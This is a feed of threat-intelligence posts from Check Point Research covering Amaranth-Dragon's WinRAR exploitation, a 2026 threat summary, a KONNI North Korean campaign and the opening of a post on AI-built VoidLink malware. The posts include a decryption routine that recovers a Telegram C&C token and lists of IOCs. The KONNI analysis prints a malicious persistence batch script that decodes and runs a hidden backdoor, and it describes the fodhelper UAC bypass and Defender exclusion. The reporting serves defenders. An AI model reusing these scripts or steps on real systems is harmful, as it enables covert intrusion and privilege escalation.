    Amaranth-Dragon, TGAmaranth string decryption function.
    Author: @Tera0017/@_CPResearch_
    """
    return bytes(
        data[i] ^ (key >> i % 8) & 0xFF
        for i in range(0, len(data)) if data[i]
    )

encrypted = b'9\\xb2x\\x95`\\x98\\xe6\\xdc0\\xb3z\\xe1\\x11\\xed\\xad\\xb8f\\xca\\x14\\xd0\\x06\\xcf\\xb9\\x93P\\xb3x\\xc6\\x1f\\xe7\\xe5\\x832\\xef&\\xd18\\xd9\\x98\\x87i\\xd11\\xfa#\\x90\\xd4\\x00'
key = 0x7001694307667501

tg_bot_token = decrypt_tg_amaranth(key, encrypted)
print(tg_bot_token)
# b'8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8\\x00'

The first decrypted string is the Telegram bot token, 8285002613:AAEyRgJTpVgmyQ38fOO1i3ofqhqLmhQqZs8, which serves as the C&C channel for the RAT. The RAT leverages the tgbot-cpp library to interact with the Telegram API. Operators send commands to the RAT through the Telegram bot, and the RAT continuously monitors messages received by the bot, executes the specified commands on the infected machine, and returns the results to the bot via the same Telegram channel.

CommandArgumentDescription
/startN/ASends the list of running processes from the infected machine to the bot.
/screenshotN/ACaptures and uploads a screenshot of the infected machine.
/shell$commandExecutes the specified command on the infected machine and returns the output.
/download$filepathDownloads the specified file from the infected machine.
/upload$FILEUploads a file to the infected machine.

The example below demonstrates how the group can interact with the infected machine.

Figure 19 — TGAmaranth Telegram C&C communication.

Attribution

Check Point Research observed overlaps between Amaranth-Dragon and APT-41, with similarities apparent in both their targeting and technical toolsets. Both groups have focused their campaigns on government and law enforcement entities across Southeast Asia, and the Amaranth-Dragon arsenal demonstrates notable technical features previously associated with APT-41. These include the use of DLL sideloading techniques and malicious DLLs that employ a Sleep instruction in unused exports, a characteristic observed in APT-41 tools, reported in earlier research publications. In addition, the development style, such as creating new threads within export functions to execute malicious code, closely mirrors established APT-41 practices. Compilation timestamps, campaign timing, and infrastructure management all point to a disciplined, well-resourced team operating in the UTC+8 (China Standard Time) zone. Taken together, these technical and operational overlaps strongly suggest that Amaranth-Dragon is closely linked to, or part of, the APT-41 ecosystem, continuing established patterns of targeting and tool development in the region.

Conclusion

The campaigns by Amaranth-Dragon exploiting the CVE-2025-8088 vulnerability highlight the recent trend of sophisticated threat actors rapidly weaponizing newly disclosed vulnerabilities. By leveraging a path traversal flaw in WinRAR, the group demonstrates its ability to adapt its tactics and infrastructure to maximize impact against highly targeted government and law enforcement organizations across Southeast Asian countries. The use of geo-restricted C&C servers, custom loaders, and open-source post-exploitation frameworks, such as Havoc, underscores the group’s technical proficiency and operational discipline. These attacks serve as a stark reminder of the importance of timely vulnerability management, user awareness, and robust defense-in-depth strategies. Organizations, especially those in government and critical infrastructure sectors, must prioritize patching vulnerabilities, monitoring suspicious archive files, and remaining vigilant for evolving TTPs. As cyber threats continue to align with geopolitical interests, collaboration between regional partners and the security community is essential to detect, disrupt, and defend against these advanced adversaries.

Protections

Check Point Threat Emulation and Harmony Endpoint provide comprehensive coverage of attack tactics, file types, and operating systems, protecting against the attacks and threats described in this report.

Indicators of Compromise

DescriptionValue
RAR Archives (Exploit)259819d1ae6421c2871f2ba0d128089036a0b29b
92b8fa4d3e7f42036fc297a3b765e365e27cdce5
e34d7e8ba4bb949aa5c491b950ab30688d5dbadc
Archives19abb00922f4fb3d4b28713bc866a033a11c1567
3a647d54f0866496d6d71c7b8e9f928759d535fd
44ac2785b0352113ed12b856ec4507fa0b897adf
53641ae0acb0fd986b30bdb1766086140abdc625
7ed0e7b80d4b5cddf10b0a6907755c607f37d7fe
a80c9e1b3116f882d4f25e1934a2e890706ba44c
b0b95528f5df65140540e473a5ac477d7f4dff87
d70bad36a4060f93a3c5c9092bbf299c463a1451
d80edb2d04670d304713b148d6a721498f842376
ec61fd29b0ebc597847325a61aceac5eeab4ae2c
Archive URLsdropbox[.]com/scl/fi/csggj44n9255y3vsjhh0p/wsNativePush.zip?rlkey=oaffvs9si6wkc6j4ccushn133&st=osdl9su7&dl=1
dropbox[.]com/scl/fi/ln6q8ip8k3dvx6xxyi71s/gs.rar?rlkey=w9vg1ehva23iitfdt5oh2x6cj&st=pwq86nfo&dl=1
dropbox[.]com/scl/fi/rl6nbtvfzllgovofmbdsm/FSTR_HADR.zip?rlkey=bql8d9zl3gz1ctfftbby6lob7&st=sc98u44d&dl=1
catalogs[.]dailydownloads[.]net/archives/microsoft/office/@MrPresident_001_bot.rar
Supporting Files1c1d53cb0f2a2d9b6d7ddb4ed55ed18880ae45e6
3823415ce9d1408a6595035e1cb634b2e261e005
40550c3696581a00b976adddbbef145f2531770e
5670d4688b2ec8b414a96aa795d81b78580ae20b
582d275c4f10c8632294cadcf56df13729612de2
78066f82804410625f6cd02a913464e163c5613e
85a31476dd35ff67439a2cbb4dea40e3223f8eaf
8aacc30dac2ca9f41d7dd6d2913d94b0820f802bc04461ae65eb7cf70b53a8ab
b93db4606ab2233a6d48b9658ab7ca432ba93985
c582718d37e9563f019e3ef78e736a0282203371
ccd6e41f343ed719ac61c05d0435a3c3bfd67d2a
e739b3cffbb94357390a0f451d8f4171fdb9200b
ed0232814fe9adb9fe62e04c8982cebf5c5e79ab
ff4e717f9fa54cbaadadf145433df4f8292c56c1
Amaranth Loader00351add8e0bca838e8dac40875b8ad5195805bd
481d50d5ab7c0a41a7c4fabb01b5c50c8f4fabf2
718c5846d3b903e3e9e2df9281f5e25b371465f2
9afadca9b2dad54004bd376dbee7e98c38dbdf50
b4dc300031edf5dd4968028146b0d608bdd975c5
c54a68d6bcc6d04ff08ad9619706e54923a20248
cd949663598c49141a98b438cf408113602e5c19
ddea99cb2db5e95552dccc8804125f19b30af536
Amaranth Key URLdaily[.]getfreshdata[.]com/dailynews/environment.enc
daily[.]getfreshdata[.]com/dailynews/key.txt
pastebin[.]com/raw/2AGrG4i1
pastebin[.]com/raw/ASXindCH
pastebin[.]com/raw/Z7xayGZ8
Amaranth C&Canalytics[.]freshdatainsights[.]org/display/2025/uid_8oQRkgpvMSgmBFt9/WondershareApplicationManual.pdf
drive.easyboxsync[.]com/resources/channels/v7/cambodia64
get.storagesync[.]biz/resources/newspaper/2018/forecast2018
live[.]easyboxsync[.]com/resources/gup/notepad
news[.]dostpagasa[.]com/llehs/jdkasdnkaf.enc
softwares[.]dailydownloads[.]net/products/microsoft/office/product-key/DB2F.activation.key
updates[.]dailydownloads[.]net/docs/microsoft/office/Office_Activation_Manual_DB2F.pdf
TGAmaranth RAT803fb65a58808fd3752f9f76b5c75ca914196305
Havoc733714767a49c00c5c825c8e689da0c3bb23fbfa
9905c672b9c32f7a09fbebb7b54e9371f08af354
d751647a2c831b4e20aba2aab9de7feb9c6a9e7d
e2520eb81665015778d915f0f0f749889a7fb1f5
e866edf14b208076d83417d9757056e7a12dca73
Havoc C&C92.223.120[.]10
92.223.124[.]45
92.223.76[.]20
92.38.170[.]6
93.123.17[.]151
dns.annasoft.gcdn[.]co
phnompenhpost[.]net
todaynewsfetch[.]com

YARA rules

rule amaranth_loader
{
  meta:
    author = "@Tera0017/@_CPResearch_"
    description = "Amaranth Loader"
    link = "<https://research.checkpoint.com/>"
  strings:
    $mz = "MZ"
    $ama_size = {41 BD 01 00 00 00 41 BC 00 40 06 00 E9 92 00 00 00}
    $ama_iv = {C7 84 24 30 02 00 00 12 34 56 78 C7 84 24 34 02 00 00 90 AB CD EF C7 84 24 38 02 00 00 34 56 78 90 C7 84 24 3C 02 00 00 AB CD EF 12}
    $ama_decr = {FF C1 48 D3 E8 41 30 00 FF C2 49 FF C0}
  condition:
    $mz at 0 and any of ($ama*)
}

MITRE ATT&CK Matrix: Amaranth-Dragon Campaigns

TacticTechnique (ID)Description / Context in Campaigns
Initial AccessSpearphishing Attachment (T1566.001)Targeted emails with malicious RAR archives exploiting CVE-2025-8088.
ExecutionUser Execution (T1204.002)Victims are lured to open weaponized archive files, triggering code execution.
ExecutionExploitation for Client Execution (T1203)Exploitation of WinRAR vulnerability (CVE-2025-8088) to execute arbitrary code.
PersistenceBoot or Logon Autostart Execution: Startup Folder (T1547.001)Malicious scripts or payloads dropped into the Startup folder for persistence.
PersistenceRegistry Run Keys / Startup Folder (T1547.001)Persistence via registry key modification (Run key).
PersistenceScheduled Task/Job (T1053)Creating scheduled tasks for persistence.
Defense EvasionSigned Binary Proxy Execution (T1218)Sideloading Amaranth loader via legitimate executables.
Defense EvasionObfuscated Files or Information (T1027)Encrypted payloads (AES), use of password-protected archives, and obfuscated delivery.
Command and ControlApplication Layer Protocol: Web Protocols (T1071.001)C2 communication over HTTP/HTTPS, including geo-restricted infrastructure.
Command and ControlApplication Layer Protocol: Web Service (T1102)Use of Pastebin for AES key delivery and Telegram for RAT C2.
Command and ControlIngress Tool Transfer (T1105)Downloading additional payloads (e.g., Havoc Framework) from attacker-controlled infrastructure.
DiscoverySystem Information Discovery (T1082)RATs and frameworks like Havoc typically enumerate system information.
CollectionInput Capture (T1056)RATs may capture keystrokes or other sensitive data.
ExfiltrationExfiltration Over C2 Channel (T1041)Stolen data exfiltrated via established C2 channels (Havoc, Telegram RAT).

References

[1] https://dmpdump.github.io/posts/Unattributed_Downloader_Cambodia/

[2] https://cyberarmor.tech/blog/autumn-dragon-china-nexus-apt-group-targets-south-east-asia

The post Amaranth-Dragon: Weaponizing CVE-2025-8088 for Targeted Espionage in the Southeast Asia appeared first on Check Point Research.

Cyber Security Report 2026

28 January 2026 at 17:34

Check Point Research continuously investigates real-world attacks, vulnerabilities, attackers’ infrastructure, and emerging techniques across global networks and environments. The Cyber Security Report 2026 consolidates our research efforts throughout 2025 to deliver a clear, data-driven view of the current threat landscape and its trajectory in 2026.

As Check Point’s flagship annual research publication, the report serves as a reference point for security teams, researchers, and industry leaders seeking to understand how attacker behavior is evolving in practice, not just theory. The findings below highlight the most significant shifts shaping the threat landscape today.

AI as a Force Multiplier Across Cyber Attacks

Artificial intelligence is now embedded across the attack lifecycle, accelerating the execution of familiar techniques at greater speed and scale. 

Key observations:

  • Increasingly convincing social engineering with fewer detectable indicators
  • Faster reconnaissance and targeting, reducing time-to-compromise
  • Accelerated malware development

Alongside its role as an enabler, AI is now a direct source of enterprise risk. Research in 2025 identified measurable exposure tied to how organizations deploy and govern AI systems.

Key data points:

  • Risky AI prompts increased by 97% in 2025
  • 40% of analyzed Model Context Protocols (MCPs) were vulnerable
  • Elevated trust and autonomy amplify the impact of prompt injection and workflow abuse

Similar efficiency-driven patterns were also observed in financially motivated operations, including ransomware activity.

Ransomware Operations Become More Fragmented and Targeted

Ransomware activity continued to increase in 2025, despite multiple law enforcement takedowns of high-profile groups.

Research findings show:

  • A shift away from centralized ransomware brands toward smaller, decentralized operators
  • Increased use of data-only extortion without encryption
  • More personalized extortion tactics based on victim profiling
  • Shorter attack and negotiation timelines supported by automation and AI

This evolution reflects a shift toward operational efficiency and decentralized execution.

Unmonitored Devices as High-Value Initial Access Targets

Unmonitored devices played a growing role in intrusion activity, particularly in large-scale and targeted attacks.

Observed trends include:

  • Exploitation of routers, gateways, VPN appliances, and other perimeter devices
  • Use of edge devices for persistent access and lateral movement
  • Delayed detection due to limited monitoring and patching coverage
  • Supply-chain and vendor ecosystem exposure amplifying risk

These devices often sit outside standard endpoint and identity security controls.

Cyber Activity Aligns More Closely With Geopolitical Conflicts

Threat activity in 2025 increasingly mirrored real-world geopolitical tensions, with cyber operations synchronized to physical and political events.

Key characteristics include:

  • Coordination between cyber espionage, disruption, and influence campaigns
  • Targeting of infrastructure and information systems linked to regional conflicts
  • Use of compromised IoT and surveillance systems to support physical-world operations

This convergence complicates attribution, as activity may involve overlapping criminal and state-aligned characteristics.

Common Pattern: Speed, Scale, and Reduced Visibility

Across all major trends, researchers observed consistent patterns in attacker operations:

  • Faster execution cycles
  • Broader targeting with fewer resources
  • Reduced reliance on custom tooling

Chinese-Nexus Cyber Threats

During 2025 the Chinese-nexus activity was global by design:

  • Operations are industrialized, not opportunistic
  • Edge and perimeter infrastructure as primary foothold
  • Routine zero-day and rapid one-day weaponization

What Security Teams Are Seeing in Practice

Based on activity observed throughout 2025, researchers identified the following conditions present across multiple environments:

  • Continuous exposure created by misconfigurations, identity weaknesses, and unmanaged assets
  • Increased reliance on identity-based access paths in intrusion activity
  • Measurable risk introduced by ungoverned AI usage
  • Attack paths spanning cloud, edge, SaaS, and on-prem environments

Conclusion

The findings in the Cyber Security Report 2026 reflect sustained observation of real-world attacker behavior rather than isolated incidents or short-term trends. By correlating telemetry, vulnerability research, and active threat investigations across regions and sectors, the report documents how attacker behavior and infrastructure evolved during 2025.

As a long-running, data-driven research publication, the report is intended to support informed analysis, planning, and discussion across the security community, from practitioners and researchers to decision-makers responsible for managing risk in 2026 and beyond.

Read the Cyber Security Report 2026

Access the full report to explore the underlying data, research methodology, and detailed analysis behind these findings.

Download Now

The post Cyber Security Report 2026 appeared first on Check Point Research.

KONNI Adopts AI to Generate PowerShell Backdoors

22 January 2026 at 14:54

Key Findings:

  • Check Point Research (CPR) is tracking a phishing campaign linked to a North Korea–aligned threat actor known as KONNI.
  • This activity goes beyond KONNI’s typical focus areas, indicating broader targeting across the APAC region, including Japan, Australia, and India.
  • The campaign targets software developers and engineering teams with expertise in, or access to, blockchain-related resources and infrastructure.
  • The attackers deploy an AI-generated PowerShell backdoor, highlighting the growing use of AI by threat actors, including North Korean groups.

Introduction

Check Point Research (CPR) identified an ongoing phishing campaign that we associate with KONNI, a North Korean–linked threat actor active since at least 2014. KONNI is best known for targeting organizations and individuals in South Korea, with a focus on diplomatic channels, international relations, NGOs, academia, and government. The group typically relies on spear-phishing that delivers weaponized documents themed around geopolitical issues and activity on the Korean Peninsula.

In this publication, we describe a recent KONNI operation aimed at software developers and engineering teams. The attackers use lure content designed to look like legitimate project documentation, often tied to blockchain and crypto initiatives. This targeting suggests an intent to compromise targets with access to blockchain-related resources and infrastructure.

While the delivery and staging steps align with KONNI’s established tradecraft, the campaign shows signs of broader targeting across the APAC region, extending beyond the group’s usual focus areas. Another notable aspect of the campaign is its use of an AI-written PowerShell backdoor, reflecting the increasing adoption of AI-enabled tooling by threat actors, including North Korean–linked groups.

Targets and Lures

Historically, KONNI activity was focused on South Korea, with only occasional targets located outside the country. In this campaign, however, multiple samples were uploaded to VirusTotal by submitters associated with Japan, Australia, and India, pointing to a potential geographic expansion beyond the group’s typical operating areas.

The campaign appears to target engineering teams, with a clear emphasis on blockchain-related technologies. The lure documents are presented as legitimate project materials and include technical details such as architecture, technology stacks, development timelines, and in some cases, budgets and delivery milestones. This pattern suggests an intent to compromise development environments, thereby obtaining access to sensitive assets, including infrastructure, API credentials, wallet access, and ultimately cryptocurrency holdings.

While this blockchain and crypto focus is more commonly associated with other North Korean–linked actors, there are indications that KONNI also engaged in financially-motivated and crypto-related targeting in the past.

Figure 1 – Blockchain themed lures used in this campaign.

Infection Chain

Figure 2 - Infection Chain.
Figure 2 – Infection Chain.

The infection chain starts with a Discord-hosted link that downloads a ZIP archive via an unknown vector. The ZIP contains two files: a PDF lure document and a Windows shortcut (LNK) file. The LNK launches an embedded PowerShell loader which extracts two additional files: a DOCX lure document and a CAB archive, both embedded within the LNK and XOR-encoded using a single-byte key.

When executed, the LNK:

  1. Writes the DOCX and CAB files to disk.
  2. Opens the DOCX lure to distract the user.
  3. Extracts the CAB archive, which contains:
    • PowerShell Backdoor
    • Two batch files
    • An executable used for UAC bypass
  4. Executes the first batch file extracted from the CAB.
@echo off

    mkdir "C:\ProgramData\VljE"
    move "C:\ProgramData\zVJs.ps1" C:\ProgramData\VljE\
    move "C:\ProgramData\mKIftBn.bat" C:\ProgramData\VljE\
    schtasks /create /sc hourly /mo 1 /tn "OneDrive Startup Task-S-1-5-21-3315426051-1901789636-3309192473-4545" /tr "cmd /c powershell -w h $d=[IO.File]::ReadAllBytes(\\\"C:\ProgramData\VljE\zVJs.ps1\\\");$b=[Text.Encoding]::UTF8.GetBytes(\\\"Q\\\");for($i=0;$i -lt $d.Length;$i++){$d[$i]=$d[$i]-bxor$b[$i%%$b.Length]};$c=[Text.Encoding]::UTF8.GetString($d);iex $c" /rl limited /ru "%username%" /f
    timeout -t 3 /nobreak
    "C:\ProgramData\OneDriveUpdater.exe"
    del "%~f0"&exit /b

The first-stage batch script creates a new staging directory in C:\ProgramData, which is used to store the malicious components. The script then moves the PowerShell backdoor code and an additional batch file into this directory. To establish persistence, the script creates a scheduled task, disguised as a legitimate OneDrive startup task, configured to run hourly with the current user privilege. This task executes an inline PowerShell command that reads the encrypted PowerShell backdoor from disk, XOR-decrypts it using the single-byte key ‘Q’, and immediately executes the decoded script in memory. It then attempts to launch OneDriveUpdater.exe, which is not present in this infection chain and is a leftover artifact from a previous version. Finally, the batch script deletes itself from disk and exits, removing the initial execution artifact to reduce forensic visibility.

The PowerShell backdoor is heavily obfuscated using arithmetic-based character encoding. Each string is constructed by summing and subtracting numeric literals that resolve at runtime into individual ASCII characters. These decoded characters are concatenated into multiple variables, effectively acting as a string dictionary. The final stage dynamically reconstructs and executes the malicious logic using IEX (Invoke-Expression cmdlet), with substrings indexed from the previously built variables.

Figure 3 - Obfuscated PowerShell backdoor.

Figure 3 – Obfuscated PowerShell backdoor.

AI Usage

The PowerShell backdoor strongly indicates AI-assisted development rather than traditional operator-authored malware.

At first glance, the script has an unusually polished structure. It opens with clear, human-readable documentation describing the script’s functionality:

“This script ensures that only one instance of this UUID-based project runs at a time. It sends system info via HTTP GET every 13 minutes.”

This level of upfront documentation is atypical for commodity or APT-authored PowerShell implants. The script is further divided into well-defined logical sections, each handling a specific task, reflecting modern software engineering conventions rather than ad-hoc malware development.

Figure 4 – PowerShell Backdoor Documentation.

While clean structure and comments alone are not sufficient to attribute AI origins, the script contains a far more telling indicator. Embedded directly in the code is the comment:

“# <– your permanent project UUID”

This phrasing is highly characteristic of LLM-generated code, where the model explicitly instructs a human user on how to customize a placeholder value. Such comments are commonly observed in AI-produced scripts and tutorials.

Figure 5 – AI-produced string in the PowerShell backdoor script.
Figure 5 – AI-produced string in the PowerShell backdoor script.

The verbose documentation, modular layout, and instructional placeholder comments all strongly suggest that the PowerShell backdoor was generated using an AI system, marking a notable shift in KONNI APT’s tooling development.

PowerShell Backdoor analysis

The PowerShell backdoor begins execution with a series of anti-analysis and sandbox-evasion checks. These include validating that the host meets minimum hardware thresholds and actively scanning for the presence of analysis and monitoring tools such as IDA, Wireshark, Procmon, etc. In addition, the backdoor enforces user-interaction checks by monitoring mouse activity and requires a minimum number of clicks before continuing. If these conditions are not met, the script terminates immediately.

After these conditions are met, the backdoor enforces single-instance execution by creating a global mutex named Global\SysInfoProject_<projectUUID>. The project UUID is hardcoded and is identical across all analyzed samples in this campaign: f7d77a6d-36e0-4fcb-bae7-5f4b3b723f61. The backdoor then generates a host-specific identifier used for C2 (Command and Control) tracking. It fingerprints the system by querying WMI for the motherboard serial number and the system UUID. These values are concatenated and hashed using SHA-256, after which the resulting hexadecimal hash is truncated to the first 16 characters. To further differentiate infections and allow operators to distinguish victims across campaigns, a hardcoded campaign-specific string is appended to this identifier before transmission.

Figure 6 – Monitoring and analysis process blacklist.

Next, the malware evaluates its current privilege level and takes a different path for each result:

  • User – The backdoor uses fodhelper UAC bypass to elevate privileges. This technique abuses the auto-elevated fodhelper.exe binary by modifying registry keys under HKCU\Software\Classes to redirect how Windows resolves the ms-settings protocol. In this case, it creates a custom handler in HKCU\Software\Classes\.thm\Shell\Open\command that points to an attacker-controlled executable and then sets HKCU\Software\Classes\ms-settings\CurVer to reference the .thm file type. When fodhelper.exe is launched, Windows follows this redirected resolution path causing fodhelper.exe to execute an attacker-controlled payload without triggering a UAC prompt. In this campaign, the elevated payload is rKXujm.exe, a small 32-bit utility whose sole purpose is to modify the registry keyHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemConsentPromptBehaviorAdmin to 0, effectively disabling UAC prompts for administrator accounts. After successfull execution, the flow continues to the Admin scenario.
  • Admin – The backdoor performs cleanup of the previously dropped UAC bypass executable. The backdoor then adds a Windows Defender exclusion for C:\ProgramData and executes the second batch script extracted earlier in the infection chain. This script replaces the existing scheduled task with a new one configured to run with elevated privileges, ensuring persistent execution in a high-integrity context.
  • System – The backdoor deploys SimpleHelp, a legitimate RMM (Remote Monitoring and Management) tool, suggesting operator intent to maintain long-term interactive access beyond the PowerShell backdoor.

Figure 7 – Privilege-Based Execution Flow.

As an initial step in C2 communication, the backdoor performs a JavaScript challenge emulation to obtain a required session cookie named __test from the server. The C2 endpoint is protected by a client-side AES-based gate intended to block non-browser traffic. Instead of using a browser, the backdoor downloads the same AES implementation used by the site, reconstructs the embedded JavaScript logic, decrypts the server-provided ciphertext, and extracts the expected token programmatically. This token is then used as a valid cookie in subsequent HTTP requests, allowing the backdoor to access the C2 infrastructure while bypassing basic anti-bot and non-browser filtering mechanisms. After authentication, the backdoor periodically sends host metadata, including the generated host ID, privilege level, local IPv4 address, and username, to a PHP-based C2 endpoint. Server responses are treated as tasking: if PowerShell code is returned, it is converted into a script block and executed asynchronously via background jobs. Command polling occurs at randomized intervals, and blacklist checks continue during runtime to terminate execution if analysis tools are detected.

Figure 8 – Post request sent to the C2 server.

Earlier Variants of the Infection Chain

Samples uploaded to VirusTotal in October 2025 reveal an earlier variant of the infection chain. In this variant, the initial payload is an obfuscated PowerShell script, with the same obfuscation method (arithmetic-based character encoding) that retrieves multiple secondary components from an attacker-controlled server. These include a mix of batch files, VBScript launchers, a PowerShell backdoor, and two PE files: uc.exe, the same executable discussed earlier for the UAC bypass, and OneDriveUpdater.exe. OneDriveUpdater, which was not present in the samples analyzed from the later campaign even though it was mentioned at the batch file, is a 64-bit PE file whose primary purpose is to download and execute a Simple Help client, which provides the attackers with interactive remote access.

Figure 9 - Early PowerShell script variant.
Figure 9 – Early PowerShell script variant.

Execution begins with start.vbs, which silently launches simi.bat. Similar to the primary batch file described in the later samples, simi.bat creates a dedicated subdirectory in C:\ProgramData and relocates the downloaded scripts there for staging. In addition to organizing the tooling, simi.bat executes OneDriveUpdater.exe and then launches schedule1.bat. This script establishes persistence by creating a scheduled task that periodically runs the PowerShell backdoor, in this case named OneDriveUpdate.ps1. While the execution flow is largely consistent with later samples, this earlier variant distributes its functionality across multiple scripts instead of combining it into a single batch file.

start.vbs initiates execution, simi.bat handles staging and payload execution, and schedule1.bat is responsible for persistence. The same modular structure applies to the other supporting scripts that are not explicitly described here.

Attribution

The tactics, techniques, and procedures (TTPs) observed in this campaign strongly align with those associated with North Korean actors, specifically activities tied to the KONNI APT cluster. The campaign is initiated by a weaponized LNK shortcut whose structure and execution logic closely matches KONNI’s attributed LNK launchers described in earlier reports, including a case where the lure filename directly overlaps with a previously reported KONNI artifact (Avinash_CV.lnk). The broader execution chain is likewise consistent with documented KONNI operations: a modular, multi-stage chain built around VBS and multiple BAT scripts, where each component performs a narrowly scoped role (staging, persistence, execution, and handoff to the next layer). Finally, earlier variants in this campaign reuse script names and code patterns that appeared in historical KONNI activity, such as start.vbs launching a follow-on batch file simi.bat, that reinforces our assessment that this activity is part of the KONNI toolset.

Figure 10 – start.vbs from December 2024 infection chain compared to start.vbs from October 2025 downloaded from the server.

Conclusion

This campaign highlights the evolution of the KONNI APT group. The delivery and staging remain aligned with previously documented KONNI tradecraft, including the use of weaponized LNK shortcuts and a modular, multi-stage execution chain built from narrowly scoped script components. These overlaps, together with the recurring naming conventions and execution logic seen in previous reports, these artifacts reinforce our attribution to the KONNI toolset.

At the same time, the targeting reflects a notable shift in behavior. The operation is built around blockchain-themed project materials and appears designed to reach software developers and engineering teams, pointing to an access-oriented objective. Instead of focusing on individual end-users, the campaign goal seems to be to establish a foothold in development environments, where compromise can provide broader downstream access across multiple projects and services.

Finally, this campaign is notable for its apparent use of an AI-written PowerShell backdoor. The introduction of AI-assisted tooling suggests an effort to accelerate development and standardize code while continuing to rely on proven delivery methods and social engineering. Combined with indicators suggesting activity beyond KONNI’s historically South Korean–centric footprint, this operation illustrates how a mature threat actor can maintain stable intrusion workflows while adapting both its targeting and tooling.

IOCs

Hashes:

ZIP

  • c79ef37866b2dff0afb9ca07b4a7c381ba0b201341f969269971398b69ade5d5
  • c040756802a217abf077b2f14effb1ed68e36165fde660fef8ff0cfa2856f25d
  • f619d63aa8d09bafb13c812bf60f2b9189a8dc696c7cef2f246c6b223222e94c
  • b411fbe03d429556ced09412dd26dc972ee55cff907bfdb5594fe9e3f1c9f0b2
  • fcc9b2ac73a0ca01fb999e6aa1a8bdbd89e632939443bcc9186ae1294089123e

LNK

  • 39fdff2ea1a5e2b6151eccc89ca6d2df33b64e09145768442cec93a578f1760c
  • 26356e12aae0a2ab1fd0ec15d49208603d3dd1041d50a0b153ab577319797715
  • a1d4272ec0ce88f9c697b3e6c70624ec5f1ad9a83c9e64120b5ee21688365af9
  • 856ac810f4a00a7e3fa89aec4c94cc166ae6ccf06c3557e9694f8639223ce25d
  • e57fa2d1d3e2bff9603ce052e51a8d6ee5c6d207633765b401399b136249ca35
  • c94e58f134c26c3dc25f69e4da81d75cbf4b4235bcfb40b17754da5fe07aad0a
  • 3b67217507e0c44bd7a4cfafed0e8958d21594c98eec43a999614815a7060410

CAB

  • de75afa15029283154cf379bc9bb7459cbcd548ff9d11efe24eb2fde7552af07
  • 8647209127d998774179aa889d2fcc664153d73557e2cca5f29c261c48dd8772

Scripts

  • b958d4d6ce65d1c081800fc14e558c34daff3b28cdd45323d05b8d40c4146c3c
  • b15f95d0f269bc1edce0e07635681d7dd478c0daa82c6bfd50c551435eba10ff
  • c2ec24dea46273085daa82e83c1c38f3921c718a61f617a66e8b715d1dcc0f57
  • fb9f16a8900bae93dd93b5d059a0d2997c1db7198acf731f3acf1696a19eeead
  • c3c8d6ea686ad87ca2c6fcb5d76da582078779ed77c7544b4095ecd7616ba39d
  • af8ca986a52e312fb85f97b235e4b406d665d7ac09cbdb5e25662d4c508ebad4
  • ec8c191ad171cf40461dc870b02f5c4e9904f9fec1191174d524b1fb3cbde47f
  • 738637fcb82920f418111c0cd83d74d9a0807972a73abfbdc71b7446e5bd6a9d
  • 159f81fc57399186503190562f28b2dd430d8cc07303e15e2ec60aee6bca798c
  • eec55e9a7f27f2ecaba71735fbd636679783ff60d9019eabf8216beebd47300b
  • 20e61936144822399149e651da665eb67b16e90ec824dac3d9eec8a4da42fdd2
  • 851695cb3807a693aae25c8b9ade20a90eaea6802bc619c1d19d121a92aef7a0
  • 1ebc4542905c8d4fd8ac6f6d9fadeef51698e5916f6ce1bcc61dcfdea02758ec
  • 48585baa9f1c2b721bb8c4fbd88eff65f8fa580a662aadcd143bc4fda6590156

Executable

  • f8e86693916be2178b948418228d116a8f73c7856e11c1f4470b8c413268c6c8
  • 64e6a852fc2e4d3e357222692eefbf445c2bd9ba654b83e64fe9913f2bb115cc
  • 26a01ffa237241e31a59f1ff4d62a063f55c97598732d55855cce18b8b27b2d6

Domains & IPs:

  • filetrasfer.wuaze[.]com
  • goldenftp.rf[.]gd
  • plaza.xo[.]je
  • gabber.42web[.]io
  • humimianserver.kesug[.]com
  • drone.ct[.]ws
  • 46.4.112[.]56
  • 192.144.34[.]77
  • 192.144.34[.]40
  • 34.203.111[.]164
  • 223.16.184[.]105

The post KONNI Adopts AI to Generate PowerShell Backdoors appeared first on Check Point Research.

VoidLink: Evidence That the Era of Advanced AI-Generated Malware Has Begun

20 January 2026 at 10:27

Key Points

  • Check Point Research (CPR) believes a new era of AI-generated malware has begun. VoidLink stands as the first evidently documented case of this era, as a truly advanced malware framework authored almost entirely by artificial intelligence, likely under the direction of a single individual.
  • Until now, solid evidence of AI-generated malware has primarily been linked to inexperienced threat actors, as in the case of FunkSec, or to malware that largely mirrored the functionality of existing open-source malware tools. VoidLink is the first evidence based case that shows how dangerous AI can become in the hands of more capable malware developers.
  • Operational security (OPSEC) failures by the VoidLink developer exposed development artifacts. These materials provide clear evidence that the malware was produced predominantly through AI-driven development, reaching a first functional implant in under a week.
  • This case highlights the dangers of how AI can enable a single actor to plan, build, and iterate complex systems at a pace that previously required coordinated teams, ultimately normalizing high-complexity attacks, that previously would only originate from high-resource threat actors.
  • From a methodology perspective, the actor used the model beyond coding, adopting an approach called Spec Driven Development (SDD), first tasking it to generate a structured, multi-team development plan with sprint schedules, specifications, and deliverables. That documentation was then repurposed as the execution blueprint, which the model likely followed to implement, iterate, and test the malware end-to-end.

Introduction

When we first encountered VoidLink, we were struck by its level of maturity, high functionality, efficient architecture, and flexible, dynamic operating model. Employing technologies like eBPF and LKM rootkits and dedicated modules for cloud enumeration and post-exploitation in container environments, this unusual piece of malware seemed to be a larger development effort by an advanced actor. As we continued tracking it, we watched it evolve in near real time, rapidly transforming from what appeared to be a functional development build into a comprehensive, modular framework. Over time, additional components were introduced, command-and-control infrastructure was established, and the project accelerated toward a full-fledged operational platform.

In parallel, we monitored the actor’s supporting infrastructure and identified multiple operational security (OPSEC) failures. These missteps exposed substantial portions of VoidLink’s internal materials, including documentation, source code, and project components. The leaks also contained detailed planning artifacts: sprints, design ideas, and timelines for three distinct internal “teams,” spanning more than 30 weeks of planned development. At face value, this level of structure suggested a well-resourced organization investing heavily in engineering and operationalization.

However, the sprint timeline did not align with our observations. We had directly witnessed the malware’s capabilities expanding far faster than the documentation implied. Deeper investigation revealed clear artifacts indicating that the development plan itself was generated and orchestrated by an AI model and that it was likely used as the blueprint to build, execute, and test the framework. Because AI-produced documentation is typically thorough, many of these artifacts were timestamped and unusually revealing. They show how, in less than a week, a single individual likely drove VoidLink from concept to a working, evolving reality.

